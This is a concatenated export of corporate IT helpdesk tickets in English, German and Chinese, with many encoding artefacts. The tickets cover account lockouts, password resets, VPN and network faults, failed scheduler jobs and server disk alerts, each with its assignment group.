error : diese seite kann nicht angezeigt warden., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook (nicht lizensiertes produkt), Description: \_x000D\_
\_x000D\_
received from: vnsmwqhb.ogtpenjd@gmail.com\_x000D\_
\_x000D\_
hallo help,\_x000D\_
\_x000D\_
ms office produkte zeigen folgende fehlermeldung:\_x000D\_
[cid:image001.png@01d1f6f8.87161a30]\_x000D\_
\_x000D\_
gruÃŸ / , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for nvawmlch ubyjolnc on erp / production / erp, Description: please reset my password, is assigned to Assignment group: GRP\_0.Ticket with Short description: wvdxnkhf jirecvta locked out himself from windows and needs a password reset, Description: user id : owenghyga
he was locked out while using wifi at fÃ¼rth location, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to boot up computer, Description: unable to boot up computer. earlier there was a issue with blue screen. \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
computer name: \_x000D\_
service tag : f1gvv32\_x000D\_
\_x000D\_
ruf nummer : 015sartlgeo lhqksbdx21 60543, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issue ; ms office crashing , Description: skype issue ; ms office crashing , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm - unsafe web-side, Description: after pw-update i've tried to lo log-on to crm.
i received the following pop-up:
soll google chrome ihr passwort fÃ¼r diese webside speichern? skotthyutc
i've skiped that message.
than i went to sales & markhtyeting. after clicking on crm (english languague) i left the save web.
i went to:
is that the side we would like to use?
i received the following pop-up:
soll google chrome ihr passwort fÃ¼r diese webside speichern?
do we want google to save our pws?, is assigned to Assignment group: GRP\_0.Ticket with Short description: one note issue, Description: one note issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock ad account , Description: unlock ad account , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: \_x000D\_
\_x000D\_
received from: vhlepcta.lqbgcxpt@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
abdhtyu user's account is blocked, can you please help?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi slow speed-company (apac) , Description: it team,
please kindly check internet for us. right now unable to work. ip data as below;
copyright (c) 2009 microsoft corporation. all rights reserved.
c:\users\vvghychamc>tracert 8.8.8.8
trghwyng route to google-public-dns-a.google.com [8.8.8.8]
over a maximum of 30 hops:
1 2 ms 2 ms 2 ms company-ap-tha-apac-dmvpn-2811-rtr01.company.com [10
.44.18.2]
2 151 ms 150 ms 152 ms att-singapore-3825-vpn-rtr-2.company.com [10.44.6.3
]
3 200 ms 200 ms 201 ms 10.44.1.114
4 152 ms 153 ms 152 ms 122.248.132.50
5 374 ms 211 ms 212 ms mdf002c7613r0002-tge-12-2.sng1.attens.net [32.60
.32.181]
6 211 ms 212 ms 207 ms 32.114.188.5
7 218 ms 217 ms 216 ms 32.119.97.150
8 326 ms 277 ms 272 ms as15169.ix.jpix.ad.jp [210.171.224.96]
9 220 ms 224 ms 223 ms 72.14.234.23
10 221 ms 220 ms 220 ms 209.85.255.229
11 216 ms 217 ms 216 ms google-public-dns-a.google.com [8.8.8.8]
trace complete.
c:\users\vvghychamc>
from: przndfbo pldqbhtn
sent: monday, august 15, 2016 12:59 pm
to: corpcare@trueinternet.co.th; pichayapuk (pichayapuk\_num@trueinternet.co.th); gdhyrts muggftyali
cc: izwtdnfq xptuoaid
subject: wifi slow speed-company (apac)
dear k.pichayapuk,
please kindly check wi-fi speed for our company. it's very slow speed and impacted our work this time.
we have more users in office about 20 persons and some guests visit sometime. please advise suitable package for our company.
------------------------------------
dear nagfghtyudra,
attached currently internet package in apac office. please advise if we need to up speed for international gate. , is assigned to Assignment group: GRP\_4.Ticket with Short description: setup new ws \stwpzxbf bjehirkx, Description: setup new ws \stwpzxbf bjehirkx, is assigned to Assignment group: GRP\_24.Ticket with Short description: aenderungsantrag kann nicht geloescht werden., Description: aenderungsantrag kann nicht geloescht werden., is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit purchasing \xmlbfjpg yegzbvru, Description: probleme mit purchasing \xmlbfjpg yegzbvru, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \ghaltiek lsuepvyx, Description: setup new ws \ghaltiek lsuepvyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: net weaver business client does not work., Description: net weaver business client does not work. \_x000D\_
error : ms .net framdntyework 4.5.2, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device (company owned) successfully activated., Description: mobile device (company owned) successfully activated., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool is not working , Description: engineering tool is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: authorisation error in outlook : nicht lizeciertes produkt., Description: authorisation error in outlook : nicht lizeciertes produkt., is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit EU\_tool rechner \ we212772 , Description: moin ,\_x000D\_
\_x000D\_
kannst du bitte das passwort freischalten. benutzer we212772 wurde das passwort \_x000D\_
gesperrt. bitte das passwort auf welcome setzen.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp SID\_34 password reset request for user : beckes, Description: erp SID\_34 password reset request for user : beckes, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit datenbank in EU\_tool \hgrvubzo wgyhktic, Description: probleme mit datenbank in EU\_tool \hgrvubzo wgyhktic, is assigned to Assignment group: GRP\_24.Ticket with Short description: mail address of cytohwau qfunricw at ticketing\_tool is missing, Description: \_x000D\_
\_x000D\_
received from: qdxyifhj.zbwtunpy@gmail.com\_x000D\_
\_x000D\_
in ticketing\_tool is for user cytohwau qfunricw no email available. see picture.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f6e2.c3dff050]\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_34.Ticket with Short description: crm not working, Description: \_x000D\_
\_x000D\_
received from: vomtbcej.lyiwqrct@gmail.com\_x000D\_
\_x000D\_
dear sir;\_x000D\_
\_x000D\_
i had tried to open crm. please see here the attachment for the message while opening the same.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f6ff.3cddd780]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: abended job in job\_scheduler: Job\_593, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_593 at 08/15/16 04:06:29, is assigned to Assignment group: GRP\_8.Ticket with Short description: business\_client brings error when launched, Description: business\_client brings error when launched, is assigned to Assignment group: GRP\_0.Ticket with Short description: programdnty zmmtaxupd : sales organization selection crieria doesnt work; please disable programdnty temporarlly, Description: programdnty zmmtaxupd updates tax classification for all the sales organization irrespective of selection criteria; programdnty exection impacts apo jobs; for india sales org, there are two tax classifications fields which were updated with incorrect values last week, is assigned to Assignment group: GRP\_10.Ticket with Short description: windows account locked in ad, Description: windows account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: user is getting unlicensed error in office, Description: user is getting unlicensed error in office, is assigned to Assignment group: GRP\_0.Ticket with Short description: ç­”å¤: email address link to delivery not è½¬å‘: 9168020730//supply\_chaint09t308lf kc5010çš„å¿«é€’å•å·å‡ºæ¥äº†å—ï¼Ÿ, Description: \_x000D\_
\_x000D\_
received from: jkmeusfq.vjpckzsa@gmail.com\_x000D\_
\_x000D\_
helloï¼Œ\_x000D\_
è¯·å‚¬ä¸€ä¸‹æ–°åŠ å¡ã€‚è°¢è°¢ï¼\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
é¡ºç¥å•†ç¥º\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: not able to view attachments from outlook, Description: not able to view attachments from outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc ewkw8111185 funktioniert nicht (pc lÃ¤sst sich anschalten, Description: von: cytohwau qfunricw
gesendet: donnerstag, 11. august 2016 15:23
an: nwfodmhc exurcwkm
betreff: pc ewkw8111185/ qdxyifhj zbwtunpy
pc ewkw8111185 funktioniert nicht (pc lÃ¤sst sich anschalten, danach ist kein arbeiten am pc mÃ¶glich, auch mit anderer tastatur versucht, keine Ã¤nderung)
mit freundlichen grÃ¼ÃŸen
cytohwau qfunricw
grinding service germany
cytohwau.qfunricw@gmail.com
, is assigned to Assignment group: GRP\_33.Ticket with Short description: abended job in job\_scheduler: Job\_483, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_483 at 08/15/16 02:52:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: issues with posting to the hub, Description: \_x000D\_
\_x000D\_
received from: fmjeaoih.ndyezlkb@gmail.com\_x000D\_
\_x000D\_
hi all,\_x000D\_
i am having an issue posting news to the hub.\_x000D\_
\_x000D\_
when uploading new pictures for the news carousel to the site below,\_x000D\_
the links which are created have no jpg ending and therefore when inserting\_x000D\_
to the news carousel the pictures don't show up correctly.\_x000D\_
\_x000D\_
\_x000D\_
i would need this fixed within today as there are several news that should go out.\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: tablet - dell 7350 -æ— æ³•è¿žæŽ¥æ— çº¿wifiç½‘ç»œï¼Œæ— çº¿apï¼Œæ‰‹æœºçƒ­ç‚¹éƒ½ä¸èƒ½è¿žæŽ¥ã€‚, Description: please provide details of the issue.\_x000D\_
æ— æ³•è¿žæŽ¥æ— çº¿wifiç½‘ç»œï¼Œæ— çº¿apï¼Œæ‰‹æœºçƒ­ç‚¹éƒ½ä¸èƒ½è¿žæŽ¥ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: locked out of account, Description: \_x000D\_
\_x000D\_
received from: ubdihsop.ahyeqpmx@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please assist vnglqiht sebxvtdj to access his account as he forgot his password.\_x000D\_
\_x000D\_
we need this urgent please?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: require set up mobile link company e-mail, Description:
received from: przndfbo.pldqbhtn@gmail.com
it,
please kindly set up mobile link company e-mail.
user : fbmugzrl ahyiuqev
model :iphone6 (16 gb)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: oa35818597, inwarehouse\_tool 0158921930 was created but no accounting document. please double check and help to solve this proble, Description: oa35818597, inwarehouse\_tool 0158921930 was created but no accounting document. please double check and help to solve this problem., is assigned to Assignment group: GRP\_18.Ticket with Short description: vpn ä¸èƒ½ç™»å½•ï¼Œç½‘é¡µä¸€ç›´åœ¨æ£€æŸ¥é˜²ç—…æ¯’è½¯ä»¶ã€‚, Description: vpn ä¸èƒ½ç™»å½•ï¼Œç½‘é¡µä¸€ç›´åœ¨æ£€æŸ¥é˜²ç—…æ¯’è½¯ä»¶ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: æ–‡ä»¶æ— æ³•é€šè¿‡æ‰“å°æœºfe08æ‰“å°, Description: æ–‡ä»¶æ— æ³•é€šè¿‡æ‰“å°æœºfe08æ‰“å°, is assigned to Assignment group: GRP\_30.Ticket with Short description: erp can not print by fe08. please help me switch to fe10 print. it is urgent., Description: erp can not print by fe08. please help me switch to fe10 print. it is urgent., is assigned to Assignment group: GRP\_14.Ticket with Short description: dell battery failure., Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi ti team
need your assistant on the attached issue.
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
( asia regional distribution centre)
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_19.Ticket with Short description: damaged laptop, Description: from: zrpemyab xvzwcbha
sent: monday, august 15, 2016 7:02 am
to: nwfodmhc exurcwkm; bmhxwvys tdmgolwn; bmhxwvys tdmgolwn
subject: rad:fw: damaged laptop
dear it help,
please help suhrhtyju to sort out issue with his laptop.
he is based in indonesia
his contact details are as mentioned below
suhrhtyju
application engineer
bmhxwvys.tdmgolwn@gmail.com
, is assigned to Assignment group: GRP\_19.Ticket with Short description: windows ç³»ç»Ÿæ— æ³•ç™»å½•æç¤ºè®¡ç®—æœºä¸Žä¸»åŸŸä¹‹å‰ä¿¡ä»»å…³ç³»å¤±è´¥, Description: windows ç³»ç»Ÿæ— æ³•ç™»å½•æç¤ºè®¡ç®—æœºä¸Žä¸»åŸŸä¹‹å‰ä¿¡ä»»å…³ç³»å¤±è´¥, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp purchasing error, Description: when i tried to submit the "describe what you need" it shows"no data found for employee '1111154833'; inform system administration" please help with it i have several orders to send outï¼this problem has been existed for a week and no one contact me to solve itï¼, is assigned to Assignment group: GRP\_29.Ticket with Short description: æ˜¾ç¤ºå™¨ä¸äº®, Description: æ—©ä¸Šå¼€æœºåŽæ˜¾ç¤ºå™¨ä¸å‡ºå›¾åƒã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: vpn connection issue, Description: vpn connection issue\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-installed the company vpn drivers.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_3186, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3186 at 08/14/16 20:01:28, is assigned to Assignment group: GRP\_10.Ticket with Short description: abended job in job\_scheduler: Job\_2114, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2114 at 08/14/16 17:32:28, is assigned to Assignment group: GRP\_9.Ticket with Short description: queue 'dmz\_all' failed to connect to hub /lhqsm665dom/HostName\_772/HostName\_772/hub, Description: observing below alert in reporting\_tool since 7:33 am on 8/14 et after reporting\_tool reboot\_x000D\_
\_x000D\_
queue 'dmz\_all' failed to connect to hub /lhqsm665dom/HostName\_772/HostName\_772/hub, is assigned to Assignment group: GRP\_8.Ticket with Short description: sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et, Description: sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et, is assigned to Assignment group: GRP\_8.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: snp\_heu\_5\_regen, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: snp\_heu\_5\_regen at 08/14/16 12:40:30, is assigned to Assignment group: GRP\_6.Ticket with Short description: problem with sending discount request, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i'm having a problem with sending discount requests. i get the below error when i hit submit request. i had this problem last week but when i connected to vpn it sent the request. i thought the problem was solved but it is still happening. please advise.
[cid:image001.jpg@01d1f61a.0223ac90]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: na production files not received, Description: \_x000D\_
\_x000D\_
received from: rdfjsawg.zpmxgdcw@gmail.com\_x000D\_
\_x000D\_
assign to pi team. files not transferred as per schedule. even last week we had the same problem.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_71.Ticket with Short description: office 365 sprache Ã¤ndern/ videos aus "thehub" funktionieren nicht., Description: hallo, ist es mÃ¶glich das ich office365 von englisch auf deutsch umstelle? wenn ja wo finde ich diese einstellung?\_x000D\_
\_x000D\_
wenn ich die videos von "lets talk" in deutsch ansehen mÃ¶chte und diese Ã¼ber den link in der email anklicke sagt er mir:\_x000D\_
\_x000D\_
office 365 video isn't available \_x000D\_
\_x000D\_
office 365 video is not enabled by your organization for you. \_x000D\_
\_x000D\_
hier ein link:\_x000D\_
\_x000D\_
vielen dank fÃ¼r ihre hilfe, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: snp\_heu\_1\_regen, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: snp\_heu\_1\_regen at 08/14/16 05:51:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_wly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_wly\_dp at 08/14/16 05:03:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_37hoti, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_37hoti at 08/14/16 05:03:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_216 (erp-SID\_51 aprtgghj4k- production): average (1 samples) disk free on /home is now 13%, Description: HostName\_216 (erp-SID\_51 aprtgghj4k- production): average (1 samples) disk free on /home is now 13%, which is below the warning threshold (15%) out of total size 0.5 gb, is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_214 (erp-SID\_51 app1-production): average (1 samples) disk free on /home is now 15%, Description: HostName\_214 (erp-SID\_51 app1-production): average (1 samples) disk free on /home is now 15%, which is below the warning threshold (15%) out of total size 0.5 gb, is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_768(corporate file server (teams) - production): server is inactive, Description: HostName\_768(corporate file server (teams) - production): server is inactive, is assigned to Assignment group: GRP\_12.Ticket with Short description: abended job in job\_scheduler: Job\_1343, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1343 at 08/14/16 01:39:32, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: SID\_9cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_9cold at 08/14/16 01:11:30, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_23cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_23cold at 08/13/16 21:40:28, is assigned to Assignment group: GRP\_5.Ticket with Short description: network drives disconnected, Description: unable to connect to t drive , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_29cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_29cold at 08/13/16 20:56:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_32cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_32cold at 08/13/16 20:56:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_727, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_727 at 08/13/16 20:53:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1238 ( south\_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe, Description: HostName\_1238 ( south\_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe, expected instances gte 1 but found 0 \_x000D\_
\_x000D\_
note: there was a planned power maintenance at south\_amerirtca as per chg1144678 service did not come up after the maintenance.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: abended job in job\_scheduler: Job\_717, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_717 at 08/13/16 20:38:26, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_36cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_36cold at 08/13/16 20:23:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_571, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_571 at 08/13/16 20:23:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_48cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_48cold at 08/13/16 20:22:26, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_43cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_43cold at 08/13/16 20:16:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_50cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_50cold at 08/13/16 20:14:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: Job\_737, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_737 at 08/13/16 20:11:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_79cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_79cold at 08/13/16 20:11:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: abended job in job\_scheduler: SID\_27hot, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_27hot at 08/13/16 20:09:27, is assigned to Assignment group: GRP\_5.Ticket with Short description: mii login issue, Description: mii login issue.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_35cold, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_35cold at 08/13/16 19:15:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: :i am getting the following message when trying to log in to SID\_34. logon balancing error 88: could not connect to messag, Description: name:htsnaodb adjtmlzn
language:
browser:microsoft internet explorer
email:karghyuen.hasghyusan@company.como
customer number:
telephone:
summary:i am getting the following message when trying to log in to SID\_34. logon balancing error 88: could not connect to message server. is erp down right now?, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%), Description: HostName\_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) out of total size 139.4 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: job in job\_scheduler: Job\_2080 was running long., Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2080 was running longer > 60min. kirtyled and restarted., is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1989, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1989 at 08/13/16 06:19:28, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1907, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1907 at 08/13/16 06:18:28, is assigned to Assignment group: GRP\_6.Ticket with Short description: abended job in job\_scheduler: Job\_1949, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1949 at 08/13/16 06:17:28, is assigned to Assignment group: GRP\_6.Ticket with Short description: reset passwords for jcmxerol nbfyczqr using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset microsoft online services password for rdwpangu.lybaxonw@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: saturday, august 13, 2016 7:24 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: rad:request to reset microsoft online services password for rdwpangu.lybaxonw@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ rdwpangu.lybaxonw@gmail.com
â€¢ first name: rolghtyuando
â€¢ last name: santolgiy
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn connection problem, Description: \_x000D\_
\_x000D\_
received from: cobsfvjz.apkqmrdu@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
unable to connect to vpn .\_x000D\_
\_x000D\_
get the below message .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f566.c5bfdd90]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage:cantabria (mecftgobusa) - (kenci) hard down since 2:31 am 8/13/2016 est, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_2:31 am 8/13/2016 est\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_email\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_no\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1148, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1148 at 08/13/16 01:15:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: Job\_1141, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1141 at 08/12/16 23:45:26, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: a termination for carlos patino, 11386155, effective 06/30/2016 has been approved, Description: from: idelcia almeida nascimento [mailto:system@hr\_tool.com] \_x000D\_
sent: friday, august 12, 2016 9:45 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rakthyesh the terminate action for carlos patino has completed.\_x000D\_
\_x000D\_
hello , \_x000D\_
\_x000D\_
a termination for carlos patino, 11386155, effective 06/30/2016 has been approved.\_x000D\_
\_x000D\_
click the link to view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: access denied in adoption scorecard manager, Description: user is unable to view adoption scorecard manager in microsoft crm dynamics, please check screenshot, is assigned to Assignment group: GRP\_22.Ticket with Short description: i should be able to see all my activities in crm what i created in outlook., Description: hi,
i was wondering if i should be able to see all my activities in crm what i created in outlook. example emails, task , appointments? right now i can only see my appointment as you can see below.
uvrwikmy yusexirn
sr application technician
uvrwikmy.yusexirn@gmail.com
, is assigned to Assignment group: GRP\_22.Ticket with Short description: circuit outage : india, kirty telecom\_vendor\_1 circuit is down since 07:24pm et on 08/12., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_07:24pm et on 08/12.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
